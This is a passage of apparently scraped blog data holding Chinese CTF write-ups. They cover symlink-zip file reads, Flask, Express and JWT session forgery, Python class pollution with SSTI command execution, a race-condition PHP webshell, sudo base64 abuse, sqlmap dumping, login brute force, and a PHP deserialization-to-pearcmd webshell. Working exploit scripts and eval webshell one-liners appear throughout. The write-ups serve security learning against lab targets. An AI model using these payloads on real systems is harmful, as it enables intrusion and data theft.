\u0026#34;admin\u0026#34; } # 已知密钥 secret = \u0026#34;bbc77bd26e9f4ea1af87d1ce3c11e3c4\u0026#34; # 生成伪造的session forged_session = flask_unsign.sign(data, secret=secret) print(forged_session) 软链接到根目录 # 注意到源码 waf使得我们只能通过download访问uploads目录下的当前用户文件 因此我们软链接构造一个/app/uploads/root文件 -\u0026gt; / 这样就可以通过/download/root 访问到根目录 获得flag\n","date":"2025-11-18","externalUrl":null,"permalink":"/2025/11/18/SuperFileSystem/","section":"Posts","summary":"待解 # 为什么环境变量的key不是test？ # 为什么FileSystem不能通过proc/self/environ访问env文件？ # 前置知识 # proc/self/environ # flask_session # import flask_unsign # 要伪造的数据 data = { \"username\": \"admin1\", \"role\": \"admin\" } # 已知密钥 secret = \"bbc77bd26e9f4ea1af87d1ce3c11e3c4\" # 生成伪造的session forged_session = flask_unsign.sign(data, secret=secret) print(forged_session) 复现 # 源码\n","title":"SuperFileSystem","type":"posts"},{"content":"","date":"2025-11-18","externalUrl":null,"permalink":"/tags/%E8%BD%AF%E9%93%BE%E6%8E%A5/","section":"知识","summary":"","title":"软链接","type":"tags"},{"content":" 前置知识 # 软链接 # ln -s \u0026lt;path_to_file\u0026gt; \u0026lt;link_name\u0026gt; zip -y \u0026lt;zip_filename\u0026gt;.zip \u0026lt;link_name\u0026gt;\nexpress框架session伪造 # Express Session 伪造的核心原理是绕过服务器的会话验证机制，构造一个能被服务器认可的虚假会话（Session）。其本质是利用会话管理的核心逻辑漏洞（如密钥泄露、签名规则被破解等），生成符合服务器验证格式的会话标识。\n一、Express Session 的正常工作流程 # 要理解伪造原理，先明确正常会话的生命周期：\n会话创建：用户登录时，服务器生成唯一的 sessionId（如 UUID），并关联用户数据（如 userId），存储在服务器的会话存储中（如内存、Redis）。 签名 Session ID：服务器用配置的 secret（签名密钥）对 sessionId 进行签名，生成 s:sessionId.签名值 格式的字符串（s: 是 Express 的签名标识）。 发送 Cookie：服务器将签名后的字符串通过 connect.sid 这个 Cookie 发送给浏览器，浏览器后续请求会自动携带该 Cookie。 验证会话：服务器接收请求时，从 connect.sid 中提取签名后的字符串，用 secret 验证签名有效性（防止篡改），验证通过后用 sessionId 从存储中读取用户数据，确认用户身份。 二、伪造的核心原理 # 伪造的关键是复现服务器的签名和验证逻辑，让服务器误认为伪造的会话是合法的。具体需要突破两个环节：\n1. 获取签名密钥（secret） # secret 是 Express 会话签名的核心，服务器用它生成签名，也用它验证签名。\n若 secret 泄露（如代码硬编码、配置文件泄露），攻击者就能用它生成有效的签名。 例：你的代码中 secret 是 TSCTF-J{...}，若被攻击者获取，就具备了签名的“钥匙”。 2. 构造合法的 Session ID 和签名 # 攻击者需要：\n已知有效的 sessionId：可以是从服务器会话存储中获取的真实 ID（如内存泄露、数据库泄露），或猜测符合规则的 ID（如 UUID 格式）。 按规则生成签名：用泄露的 secret 对 sessionId 进行签名，生成 s:sessionId.签名值 格式的字符串（需和 Express 底层签名算法一致，通常是 HMAC-SHA256）。 生成 Cookie：对签名后的字符串进行 URL 编码，拼接为 connect.sid=编码后的值，作为 Cookie 发送给服务器。 三、服务器如何“认可”伪造的会话？ # 当服务器接收到伪造的 connect.sid Cookie 时，会执行以下验证步骤：\n解码 Cookie 值，得到 s:sessionId.签名值。 去掉 s: 前缀，分离出 sessionId 和 签名值。 用自身配置的 secret 对 sessionId 重新计算签名，与提取的 签名值 对比。 若签名一致（未被篡改），则从会话存储中读取 sessionId 对应的用户数据。 若存储中存在该 sessionId 的数据（如 userId: 'admin'），则服务器认可该会话，攻击者成功伪造身份。 四、总结 # Express Session 伪造的本质是：利用泄露的 secret 密钥，按照服务器的签名规则，构造一个签名有效的 connect.sid Cookie，使服务器误认为是合法会话。\n防御的核心也很明确：保护 secret 不泄露、使用随机不可预测的 sessionId、定期轮换密钥，以及采用安全的会话存储（避免内存泄露）。\n复现 # 源码index.js\nconst express = require(\u0026#39;express\u0026#39;); const multer = require(\u0026#39;multer\u0026#39;); const path = require(\u0026#39;path\u0026#39;); const { execFile } = require(\u0026#39;child_process\u0026#39;); const fs = require(\u0026#39;fs\u0026#39;); const ensureSession = require(\u0026#39;../middleware/session\u0026#39;); const developmentOnly = require(\u0026#39;../middleware/developmentOnly\u0026#39;); const router = express.Router(); router.use(ensureSession); const upload = multer({ dest: \u0026#39;/tmp\u0026#39; }); router.get(\u0026#39;/\u0026#39;, (req, res) =\u0026gt; { res.render(\u0026#39;index\u0026#39;, { sessionId: req.session.userId }); }); router.get(\u0026#39;/upload\u0026#39;, (req, res) =\u0026gt; { res.render(\u0026#39;upload\u0026#39;); }); router.post(\u0026#39;/upload\u0026#39;, upload.single(\u0026#39;zipfile\u0026#39;), (req, res) =\u0026gt; { const zipPath = req.file.path; const userDir = path.join(__dirname, \u0026#39;../uploads\u0026#39;, req.session.userId); fs.mkdirSync(userDir, { recursive: true }); // Command: unzip temp/file.zip -d target_dir execFile(\u0026#39;unzip\u0026#39;, [zipPath, \u0026#39;-d\u0026#39;, userDir], (err, stdout, stderr) =\u0026gt; { fs.unlinkSync(zipPath); // Clean up temp file if (err) { console.error(\u0026#39;Unzip failed:\u0026#39;, stderr); return res.status(500).send(\u0026#39;Unzip error\u0026#39;); } res.redirect(\u0026#39;/files\u0026#39;); }); }); router.get(\u0026#39;/files\u0026#39;, (req, res) =\u0026gt; { const userDir = path.join(__dirname, \u0026#39;../uploads\u0026#39;, req.session.userId); fs.readdir(userDir, (err, files) =\u0026gt; { if (err) return res.status(500).send(\u0026#39;Error reading files\u0026#39;); res.render(\u0026#39;files\u0026#39;, { files }); }); }); router.get(\u0026#39;/files/:filename\u0026#39;, (req, res) =\u0026gt; { const userDir = path.join(__dirname, \u0026#39;../uploads\u0026#39;, req.session.userId); const requestedPath = path.normalize(req.params.filename); const filePath = path.resolve(userDir, requestedPath); // Prevent path traversal if (!filePath.startsWith(path.resolve(userDir))) { return res.status(400).send(\u0026#39;Invalid file path\u0026#39;); } if (fs.existsSync(filePath) \u0026amp;\u0026amp; fs.statSync(filePath).isFile()) { res.download(filePath); } else { res.status(404).send(\u0026#39;File not found\u0026#39;); } }); router.get(\u0026#39;/debug/files\u0026#39;, developmentOnly, (req, res) =\u0026gt; { const userDir = path.join(__dirname, \u0026#39;../uploads\u0026#39;, req.query.sessionId); fs.readdir(userDir, (err, files) =\u0026gt; { if (err) return res.status(500).send(\u0026#39;Error reading files\u0026#39;); res.render(\u0026#39;files\u0026#39;, { files }); }); }); module.exports = router; developmentOnly.js\nmodule.exports = function (req, res, next) { if (req.session.userId === \u0026#39;develop\u0026#39; \u0026amp;\u0026amp; req.ip == \u0026#39;127.0.0.1\u0026#39;) { return next(); } res.status(403).send(\u0026#39;Forbidden: Development access only\u0026#39;); }; 查看附件给的 entrypoint.sh\n#!/bin/sh set -e RAND=$(head /dev/urandom | tr -dc a-z0-9 | head -c 8) FLAG_FILE=\u0026#34;/$RAND/flag.txt\u0026#34; if [ -n \u0026#34;$FLAG\u0026#34; ]; then mkdir -p \u0026#34;/$RAND\u0026#34; chmod -R +r \u0026#34;/$RAND\u0026#34; echo \u0026#34;$FLAG\u0026#34; \u0026gt; \u0026#34;$FLAG_FILE\u0026#34; fi unset FLAG export FLAG=\u0026#34;\u0026#34; exec \u0026#34;$@\u0026#34; 可知flag在根目录随机文件夹下 查看dockerfile\nFROM node:22-alpine WORKDIR /app COPY src/package*.json ./ RUN npm install COPY src/ . EXPOSE 3000 COPY ./entrypoint.sh /entrypoint.sh RUN chmod +x /entrypoint.sh ENTRYPOINT [\u0026#34;sh\u0026#34;, \u0026#34;/entrypoint.sh\u0026#34;] CMD [\u0026#34;npm\u0026#34;, \u0026#34;start\u0026#34;] 可知题目把src内文件全放到/app文件下\n利用软链接 # ln -s /app/.env env_link zip -y env_link.zip env_link 读取.env文件 获得 SESSION_SECRET=TSCTF-J{th1s_i5_n0t_fl4g_bu7_c4n_b3_us3ful}\n同理读取server.js 获得session id：ACFA5737-166A-CFAF-7324-7B35C216B324\nsession伪造 # const cookieSignature = require(\u0026#39;cookie-signature\u0026#39;); const secret = \u0026#39;TSCTF-J{th1s_i5_n0t_fl4g_bu7_c4n_b3_us3ful}\u0026#39;; // SESSION_SECRET const sessionId = \u0026#39;ACFA5737-166A-CFAF-7324-7B35C216B324\u0026#39;; const signedSessionId = \u0026#39;s:\u0026#39; + cookieSignature.sign(sessionId, secret); console.log(\u0026#39;connect.sid=\u0026#39; + encodeURIComponent(signedSessionId)); PS C:\\Users\\link\\Desktop\\CTF_Code_Tool\u0026gt; node express_session.js connect.sid=s%3AACFA5737-166A-CFAF-7324-7B35C216B324.zCc8cjkWopDjI6DOKMzG46w3HzZtY%2BaEZ11ylSjcjdk 由源码可知 最后利用xff和路径遍历即可 # ","date":"2025-11-17","externalUrl":null,"permalink":"/2025/11/17/filesystem/","section":"Posts","summary":"前置知识 # 软链接 # ln -s \u003cpath_to_file\u003e \u003clink_name\u003e zip -y \u003czip_filename\u003e.zip \u003clink_name\u003e\nexpress框架session伪造 # Express Session 伪造的核心原理是绕过服务器的会话验证机制，构造一个能被服务器认可的虚假会话（Session）。其本质是利用会话管理的核心逻辑漏洞（如密钥泄露、签名规则被破解等），生成符合服务器验证格式的会话标识。\n","title":"FileSystem","type":"posts"},{"content":"","date":"2025-11-17","externalUrl":null,"permalink":"/tags/%E7%9B%AE%E5%BD%95%E7%A9%BF%E8%B6%8A/","section":"知识","summary":"","title":"目录穿越","type":"tags"},{"content":" EZ_PY # 前置知识 # 原型链污染 # JWT验证 # JWT（JSON Web Token）验证的核心是通过签名确保 Token 未被篡改，同时验证 Token 的合法性（有效期、签发者等），避免身份伪造。 核心验证原理 JWT 由Header.Payload.Signature三段式字符串组成，验证过程围绕这三部分展开，核心是 “签名校验” 和 “内容合法性校验”。\n验证前的基础处理 服务器接收 Token 后，先按.分割为 Header、Payload、Signature 三部分。 对 Header 和 Payload 分别进行 Base64 解码（注意：Base64 是编码而非加密，可直接解码查看内容）。 核心：签名校验（防篡改关键） 签名是 JWT 验证的核心，目的是确认 Token 内容未被修改，且来自合法签发者。 服务器获取本地存储的密钥（如你之前提到的 SECRET_KEY，HS256 算法用对称密钥，RS256 用私钥签名、公钥验证）。 按 Header 中指定的算法（如 HS256），用 “解码后的 Header + 解码后的 Payload + 密钥” 重新计算签名。 将重新计算的签名，与 Token 中的 Signature 部分对比： 若一致：说明 Token 内容未被篡改，且是用合法密钥签发的； 若不一致：直接判定 Token 无效，拒绝访问。 辅助：Payload 合法性校验 签名通过后，还需验证 Payload 中的核心字段（按需校验，非强制但必须配置）： exp（过期时间）：若当前时间超过 exp，Token 失效； nbf（生效时间）：若当前时间未到 nbf，Token 暂不可用； iss（签发者）：验证是否与服务器预期的签发者一致； aud（受众）：验证 Token 是否是发给当前服务器的。 复现 # 获得token # 查看首页源码 提示访问/source目录 给出了网页源代码 重点查看merge函数 发现存在原型链污染\npayload ：\n{\u0026#34;username\u0026#34;:\u0026#34;123\u0026#34;,\u0026#34;password\u0026#34;:\u0026#34;123\u0026#34;, \u0026#34;__init__\u0026#34;:{ \u0026#34;__globals__\u0026#34;:{\u0026#34;app\u0026#34;:{\u0026#34;config\u0026#34;:{\u0026#34;SECRET_KEY\u0026#34;:\u0026#34;123\u0026#34;}}}} } 发生请求包 注册成功 此时用户123的token 就是用SECRET_KEY=123加密的 登录获得token eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiMTIzIiwicm9sZSI6InVzZXIifQ.AJ5MXd3sVRPUTsUOUTiqaPSm0MFiLQnsaVGYPgrleJg\ntoken伪造 # 现在已知key 因此jwt的payload可以随意伪造\nimport jwt import time # 1. 定义 payload（要包含的信息，如用户名、过期时间等） payload ={ \u0026#34;user\u0026#34;:\u0026#34;123\u0026#34;, \u0026#34;role\u0026#34;:\u0026#34;admin\u0026#34; } # 2. 服务器的密钥（通过漏洞获取的 SECRET_KEY） secret_key = \u0026#34;123\u0026#34; # 例如通过变量污染拿到的密钥 # 3. 生成 JWT（指定算法，如 HS256） fake_token = jwt.encode( payload=payload, key=secret_key, algorithm=\u0026#34;HS256\u0026#34; # 必须与服务器使用的算法一致 ) print(\u0026#34;Token:\u0026#34;, fake_token) 输出eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiMTIzIiwicm9sZSI6ImFkbWluIn0.7NOlZ6z7CpjuY8xEvrPvDR9wMfuiFh7-KT6t1Ux3yNQ 访问/protected 说明成功伪造 注入代码 （绕过waf） # @app.route(\u0026#34;/protected\u0026#34;, methods=[\u0026#34;GET\u0026#34;]) @token_required def protected(current_user, role): if role != \u0026#34;admin\u0026#34;: return make_response( f\u0026#34;Access denied: User {current_user} ({role}) does not have sufficient privileges.\u0026#34;, 403, ) filtered_user = waf_filter(current_user) return render_template_string( f\u0026#34;Hello, {filtered_user}! You have access to this protected resource.\u0026#34; ) 注意到 源码此部分filtered_user 即username可以注入代码 利用fenjing构造payload\nfrom fenjing import exec_cmd_payload, config_payload import logging # 配置日志级别为INFO，用于输出工具运行信息 logging.basicConfig(level=logging.INFO) def waf(s: str) -\u0026gt; bool: \u0026#34;\u0026#34;\u0026#34; 模拟WAF过滤规则 :param s: 待检测的字符串（生成的Payload） :return: 若字符串不包含黑名单内容则返回True，否则返回False \u0026#34;\u0026#34;\u0026#34; blacklist = [ \u0026#39;class\u0026#39;, \u0026#39;bases\u0026#39;, \u0026#39;subclasses\u0026#39;, \u0026#39;mro\u0026#39;, \u0026#39;globals\u0026#39;, \u0026#39;builtins\u0026#39;, \u0026#39;import\u0026#39;, \u0026#39;eval\u0026#39;, \u0026#39;exec\u0026#39;, \u0026#39;open\u0026#39;, \u0026#39;file\u0026#39;, \u0026#39;read\u0026#39;, \u0026#39;write\u0026#39;, \u0026#39;os\u0026#39;, \u0026#39;subprocess\u0026#39;, \u0026#39;config\u0026#39;, \u0026#39;request\u0026#39;, \u0026#39;session\u0026#39;, \u0026#39;g\u0026#39;, \u0026#39;url_for\u0026#39;, \u0026#39;get_flashed_messages\u0026#39;, \u0026#39;{%\u0026#39;, \u0026#39;%}\u0026#39;, \u0026#39;{#\u0026#39;, \u0026#39;#}\u0026#39; ] # 检查字符串是否不包含任何黑名单关键词 return all(word not in s for word in blacklist) # 生成执行\u0026#34;cat /flag\u0026#34;命令的Payload，需通过上述WAF过滤 # 注释掉的是执行\u0026#34;ls /\u0026#34;的示例 # shell_payload, _ = exec_cmd_payload(waf, \u0026#34;ls /\u0026#34;) shell_payload, _ = exec_cmd_payload(waf, \u0026#34;cat /flag\u0026#34;) # 替换Payload中的模板标记（注意：此操作可能导致Payload失效，仅为演示） shell_payload = shell_payload.replace(\u0026#34;{{\u0026#34;, \u0026#34;hello\u0026#34;) shell_payload = shell_payload.replace(\u0026#34;}}\u0026#34;, \u0026#34;hacker\u0026#34;) # 输出生成的最终Payload print(shell_payload) hello(1919.eq[\u0026rsquo;\u0026rsquo;+\u0026rsquo;\u0026rsquo;+\u0026lsquo;GLOBALS\u0026rsquo;.lower()+\u0026rsquo;\u0026rsquo;+\u0026rsquo;_\u0026rsquo;].sys.modules[\u0026lsquo;o\u0026rsquo;\u0026rsquo;s\u0026rsquo;][\u0026lsquo;po\u0026rsquo;\u0026lsquo;pen\u0026rsquo;](\u0026lsquo;CAT /FLAG\u0026rsquo;.lower()))\u0026lsquo;r\u0026rsquo;\u0026rsquo;ead\u0026rsquo;hacker\n再利用上面的token伪造 即可 这里贴出官方wp的脚本\nimport requests import jwt import json from fenjing import exec_cmd_payload, config_payload import logging logging.basicConfig(level=logging.INFO) def waf(s: str): blacklist = [ \u0026#39;class\u0026#39;, \u0026#39;bases\u0026#39;, \u0026#39;subclasses\u0026#39;, \u0026#39;mro\u0026#39;, \u0026#39;globals\u0026#39;, \u0026#39;builtins\u0026#39;, \u0026#39;import\u0026#39;, \u0026#39;eval\u0026#39;, \u0026#39;exec\u0026#39;, \u0026#39;open\u0026#39;, \u0026#39;file\u0026#39;, \u0026#39;read\u0026#39;, \u0026#39;write\u0026#39;, \u0026#39;os\u0026#39;, \u0026#39;subprocess\u0026#39;, \u0026#39;config\u0026#39;, \u0026#39;request\u0026#39;, \u0026#39;session\u0026#39;, \u0026#39;g\u0026#39;, \u0026#39;url_for\u0026#39;, \u0026#39;get_flashed_messages\u0026#39;, \u0026#39;{%\u0026#39;, \u0026#39;%}\u0026#39;, \u0026#39;{#\u0026#39;, \u0026#39;#}\u0026#39; ] return all(word not in s for word in blacklist) # shell_payload, _ = exec_cmd_payload(waf, \u0026#34;ls /\u0026#34;) shell_payload, _ = exec_cmd_payload(waf, \u0026#34;cat /flag\u0026#34;) shell_payload = shell_payload.replace(\u0026#34;{{\u0026#34;, \u0026#34;hello\u0026#34;) shell_payload = shell_payload.replace(\u0026#34;}}\u0026#34;, \u0026#34;hacker\u0026#34;) HOST = \u0026#34;http://127.0.0.1:55237\u0026#34; REGISTER_URL = f\u0026#34;{HOST}/register\u0026#34; LOGIN_URL = f\u0026#34;{HOST}/login\u0026#34; PROTECTED_URL = f\u0026#34;{HOST}/protected\u0026#34; def exploit(): session = requests.Session() register_payload = { \u0026#34;username\u0026#34;: \u0026#34;hacker\u0026#34;, \u0026#34;password\u0026#34;: \u0026#34;123\u0026#34;, \u0026#34;__init__\u0026#34;: { \u0026#34;__globals__\u0026#34;: { \u0026#34;app\u0026#34;: { \u0026#34;config\u0026#34;: { \u0026#34;SECRET_KEY\u0026#34;: \u0026#34;c1432\u0026#34; } } } } } reg_resp = session.post(REGISTER_URL, json=register_payload) if reg_resp.status_code != 201: print(f\u0026#34;注册失败: {reg_resp.status_code} - {reg_resp.text}\u0026#34;) return login_data = {\u0026#34;username\u0026#34;: \u0026#34;hacker\u0026#34;, \u0026#34;password\u0026#34;: \u0026#34;123\u0026#34;} login_resp = session.post(LOGIN_URL, json=login_data) if login_resp.status_code != 200: print(f\u0026#34;登录失败: {login_resp.status_code}\u0026#34;) return try: token = login_resp.json().get(\u0026#34;token\u0026#34;) except: print(\u0026#34;Token提取失败\u0026#34;) return forged_token = jwt.encode( {\u0026#34;user\u0026#34;: shell_payload, \u0026#34;role\u0026#34;: \u0026#34;admin\u0026#34;}, \u0026#34;c1432\u0026#34;, algorithm=\u0026#34;HS256\u0026#34; ) headers = {\u0026#34;Authorization\u0026#34;: f\u0026#34;Bearer {forged_token}\u0026#34;} protected_resp = session.get(PROTECTED_URL, headers=headers) if \u0026#34;You have access to this protected resource\u0026#34; in protected_resp.text: print(protected_resp.text) else: print(f\u0026#34;权限验证失败: {protected_resp.status_code}\u0026#34;) print(protected_resp.text) print(f\u0026#34;shell_payload={shell_payload}\u0026#34;) if __name__ == \u0026#34;__main__\u0026#34;: exploit() ","date":"2025-11-15","externalUrl":null,"permalink":"/2025/11/15/EZ_PY/","section":"Posts","summary":"EZ_PY # 前置知识 # 原型链污染 # JWT验证 # JWT（JSON Web Token）验证的核心是通过签名确保 Token 未被篡改，同时验证 Token 的合法性（有效期、签发者等），避免身份伪造。 核心验证原理 JWT 由Header.Payload.Signature三段式字符串组成，验证过程围绕这三部分展开，核心是 “签名校验” 和 “内容合法性校验”。\n","title":"EZ_PY","type":"posts"},{"content":"","date":"2025-11-15","externalUrl":null,"permalink":"/tags/JWT%E4%BC%AA%E9%80%A0/","section":"知识","summary":"","title":"JWT伪造","type":"tags"},{"content":"","date":"2025-11-15","externalUrl":null,"permalink":"/tags/%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93/","section":"知识","summary":"","title":"原型链污染","type":"tags"},{"content":"","date":"2025-11-14","externalUrl":null,"permalink":"/tags/RSA/","section":"知识","summary":"","title":"RSA","type":"tags"},{"content":"","date":"2025-11-14","externalUrl":null,"permalink":"/tags/SQL%E6%B3%A8%E5%85%A5/","section":"知识","summary":"","title":"SQL注入","type":"tags"},{"content":" Web 方向 # 争渡 # 上传php文件 web返回 已从tmp删除 可知存在时间差\n\u0026lt;?php $f = fopen(\u0026#34;shell.php\u0026#34;, \u0026#34;w\u0026#34;); fputs($f, \u0026#39;\u0026lt;?php @eval($_POST[\u0026#34;cmd\u0026#34;]);?\u0026gt;\u0026#39;); ?\u0026gt; 利用这个脚本 在服务器删除该文件之前 访问文件 使其在tmp写入一句话木马\nimport requests import time url = \u0026#34;http://127.0.0.1:60865/tmp/getshell.php\u0026#34; while True: try: html = requests.get(url, headers=headers, timeout=5) # 设置超时时间，避免无限等待 if html.status_code == 200: print(\u0026#34;OK\u0026#34;) break else: print(\u0026#34;NO\u0026#34;) # 捕获连接相关异常，避免程序崩溃 except requests.exceptions.ConnectionError: print(\u0026#34;连接被关闭，重试中...\u0026#34;) except requests.exceptions.Timeout: print(\u0026#34;请求超时，重试中...\u0026#34;) except Exception as e: print(f\u0026#34;其他错误: {e}\u0026#34;) # 每次请求后暂停一小段时间，减少服务器压力 time.sleep(0.4) # 可根据需要调整间隔（如0.1-1秒） 访问成功 后 利用蚁剑连接 可以发现flag需要提权访问\n(www-data:/) $ sudo -l Matching Defaults entries for www-data on ret2shell-116-91-1763539185: env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin, use_pty User www-data may run the following commands on ret2shell-116-91-1763539185: (ALL) NOPASSWD: /usr/bin/base64 (www-data:/) $ 通过sudo -l 可以知道 可以利用base64 但是 会发现base64 查看flag返回空 说明base64 经过修改 需要查看 他的源码 这里提供两种方法\nbase32读/usr/bin/base64文件，然后复制到自己电脑上并解码,则可得到base64 把/usr/bin/base64文件cp到web目录(/var/www/html)下，访问即可下载base64 逆向后 发现就是给命令执行程序 sudo base64 \u0026#34;Y2F0\u0026#34; \u0026#34;L2ZsYWc=\u0026#34; 获得flag\nEZ_sql # 抓包发现是post传参 尝试用sqlmap\nsqlmap -u \u0026#34;http://192.168.232.1:53977/\u0026#34; --data \u0026#34;id=1\u0026#34; –batch 发现存在多种sql漏洞 获取所有数据库\nsqlmap -u \u0026#34;http://192.168.232.1:53977/\u0026#34; --data \u0026#34;id=1\u0026#34; --batch –dbs sqlmap -u \u0026#34;http://192.168.232.1:53977/\u0026#34; --data \u0026#34;id=1\u0026#34; --batch -D welcome --tables sqlmap -u \u0026#34;http://192.168.232.1:53977/\u0026#34; --data \u0026#34;id=1\u0026#34; --batch -D welcome -T flag –dump 获得flag TSCTF-J{sql_1nj3ct10n_m4573r}\nEZ_login # 对网址进行抓包 可以发现 验证码是跟cookie session 绑定的 ，因此保留cookie 对密码进行爆破 可以得到 simple 是密码 网页提示 不是本地管理员 ，修改请求包 添加X-Forwarded-For: 127.0.0.1 欺骗网址我是本地登录 对token进行base64解码 获得flag： TSCTF-J{w31c0m3_70_7h3_w38_j0urn3y} Druid # 访问127.0.0.1:57735/druid 猜测 admin为账号密码 找到用户名Y0v_S22_Dru1d 获得flag\nFindsecret # \u0026lt;?php highlight_file(__FILE__); class SecretVault { public $accessKey=0; public $hiddenData =\u0026#39;a:2:{i:0;s:19:\u0026#34;/usr/local/lib/php/\u0026#34;;i:1;s:11:\u0026#34;/../pearcmd\u0026#34;;}x\u0026#39;; } class FlagGuardian { public $puzzle; public $decoy; } class SecretHunter { public $clue; public $target = \u0026#34;treasure\u0026#34;; public $tool; } class TrapTrigger { public $trigger; public $countermeasure; } $a= new SecretHunter(); $a-\u0026gt;target= new FlagGuardian(); $a-\u0026gt;target-\u0026gt;puzzle=new SecretVault(); echo urlencode(serialize($a)); $user = unserialize($ser); ?\u0026gt; 构造如上 pop链 触发include 函数 获得序列化值\nO%3A12%3A%22SecretHunter%22%3A3%3A%7Bs%3A4%3A%22clue%22%3BN%3Bs%3A6%3A%22target%22%3BO%3A12%3A%22FlagGuardian%22%3A2%3A%7Bs%3A6%3A%22puzzle%22%3BO%3A11%3A%22SecretVault%22%3A2%3A%7Bs%3A9%3A%22accessKey%22%3Bi%3A0%3Bs%3A10%3A%22hiddenData%22%3Bs%3A61%3A%22a%3A2%3A%7Bi%3A0%3Bs%3A19%3A%22%2Fusr%2Flocal%2Flib%2Fphp%2F%22%3Bi%3A1%3Bs%3A11%3A%22%2F..%2Fpearcmd%22%3B%7Dx%22%3B%7Ds%3A5%3A%22decoy%22%3BN%3B%7Ds%3A4%3A%22tool%22%3BN%3B%7D 传参后 web访问pearcmd..php 接下来利用 pearcmd 对web传参 实现rce\n?+config-create+/\u0026amp;file=/usr/local/lib/php/pearcmd.php\u0026amp;/\u0026lt;?=@eval($_GET[\u0026#39;cmd\u0026#39;]);?\u0026gt;+/var/www/html/webshell.php 注意hackbar 会将\u0026lt;\u0026gt;进行url编码 导致 可执行代码没有被正确识别 所以使用bp传参 访问flag文件 获得flag TSCTF-J{N0w-y0u-kNOW_iNTErEStlng-Pop_@ND_IfI_To_rCE649}\nReverse 方向 # Singin # 用ida逆向得 以下关键代码\n__int64 sub_140001700() { Stream *Stream; // rax char Buffer[256]; // [rsp+20h] [rbp-60h] BYREF __int64 Buf2; // [rsp+120h] [rbp+A0h] BYREF _QWORD v4[4]; // [rsp+128h] [rbp+A8h] void *Buf1; // [rsp+148h] [rbp+C8h] const char *WelcomeToTSCTF; // [rsp+150h] [rbp+D0h] size_t Size; // [rsp+158h] [rbp+D8h] sub_140001960(); Buf2 = 0x3D13023261347C23LL; v4[0] = 0x143402370D641267LL; *(_QWORD *)((char *)v4 + 7) = 0x347024692B7A0314LL; *(_QWORD *)((char *)\u0026amp;v4[1] + 7) = 0x284202766B703261LL; Size = 31LL; sub_1400029A0(\u0026#34;please input your flag: \u0026#34;); Stream = __acrt_iob_func(0); if ( !fgets(Buffer, 256, Stream) ) return 1LL; Buffer[strcspn(Buffer, \u0026#34;\\n\u0026#34;)] = 0; if ( Size == strlen(Buffer) ) { WelcomeToTSCTF = \u0026#34;WelcomeToTSCTF\u0026#34;; Buf1 = malloc(Size); if ( Buf1 ) { sub_140001660(Buffer, WelcomeToTSCTF, Buf1, Size); if ( !memcmp(Buf1, \u0026amp;Buf2, Size) ) puts(\u0026#34;Correct Flag!\u0026#34;); else puts(\u0026#34;Wrong Flag!\u0026#34;); free(Buf1); return 0LL; } else { return 1LL; } } else { puts(\u0026#34;Wrong Flag!\u0026#34;); return 1LL; } } unsigned __int64 __fastcall sub_140001660(__int64 a1, const char *a2, __int64 a3, unsigned __int64 i_2) { size_t v4; // rax unsigned __int64 i_1; // rax size_t v6; // [rsp+28h] [rbp-18h] char *v7; // [rsp+30h] [rbp-10h] unsigned __int64 i; // [rsp+38h] [rbp-8h] v4 = strlen(a2); v7 = (char *)sub_1400014EC(a2, v4); v6 = strlen(v7); for ( i = 0LL; ; ++i ) { i_1 = i; if ( i \u0026gt;= i_2 ) break; *(_BYTE *)(a3 + i) = v7[i % v6] ^ *(_BYTE *)(a1 + i); } return i_1; } _BYTE *__fastcall sub_1400014EC(__int64 a1, unsigned __int64 i_1) { unsigned __int64 v3; // rax unsigned __int64 v4; // rax unsigned __int64 v5; // rax _BYTE *v6; // [rsp+28h] [rbp-28h] unsigned __int64 i; // [rsp+38h] [rbp-18h] unsigned __int64 v8; // [rsp+40h] [rbp-10h] int v9; // [rsp+48h] [rbp-8h] int v10; // [rsp+4Ch] [rbp-4h] sub_140001488(aAbcdefghijklmn); // \u0026#34;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\u0026#34; v6 = malloc(4 * ((i_1 + 2) / 3) + 1); if ( !v6 ) return 0LL; v10 = 0; v9 = -6; v8 = 0LL; for ( i = 0LL; i \u0026lt; i_1; ++i ) { v10 = (v10 \u0026lt;\u0026lt; 8) + *(unsigned __int8 *)(a1 + i); for ( v9 += 8; v9 \u0026gt;= 0; v9 -= 6 ) { v3 = v8++; v6[v3] = aAbcdefghijklmn[(v10 \u0026gt;\u0026gt; v9) \u0026amp; 0x3F];// \u0026#34;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\u0026#34; } } if ( v9 \u0026gt;= -5 ) { v4 = v8++; v6[v4] = aAbcdefghijklmn[(v10 \u0026lt;\u0026lt; 8 \u0026gt;\u0026gt; (v9 + 8)) \u0026amp; 0x3F];// \u0026#34;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\u0026#34; } while ( v8 \u0026lt; 4 * ((i_1 + 2) / 3) ) { v5 = v8++; v6[v5] = 61; } v6[v8] = 0; return v6; } __int64 __fastcall sub_140001488(__int64 a1) { __int64 result; // rax int i; // [rsp+2Ch] [rbp-4h] for ( i = 0; i \u0026lt;= 63; ++i ) result = sub_140001450(i + a1, a1 + (7 * i + 5) % 64); return result; } 先求自定义的base64编码表\ndef generate_custom_base64_table(): # 标准Base64字符表 original_table = \u0026#34;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\u0026#34; # 转换为列表以便进行交换操作 table_list = list(original_table) # 按照sub_140001488函数的逻辑打乱字符表 # 循环64次，每次交换特定位置的字符 for i in range(64): # 计算要交换的位置：(7 * i + 5) % 64 pos = (7 * i + 5) % 64 # 交换位置i和pos的字符 table_list[i], table_list[pos] = table_list[pos], table_list[i] # 转换回字符串并返回 return \u0026#39;\u0026#39;.join(table_list) # 生成并打印自定义Base64编码表 custom_table = generate_custom_base64_table() print(\u0026#34;自定义Base64编码表:\u0026#34;) print(custom_table) print(\u0026#34;\\n编码表长度:\u0026#34;, len(custom_table)) 得到编码表\nVkbKJo3PNcCSZQGXdUaLEwOet07jxAWmlsDqp9uf1Riy5F2nIB6rh4/+g8TzMYHv 将WelcomeToTSCTF 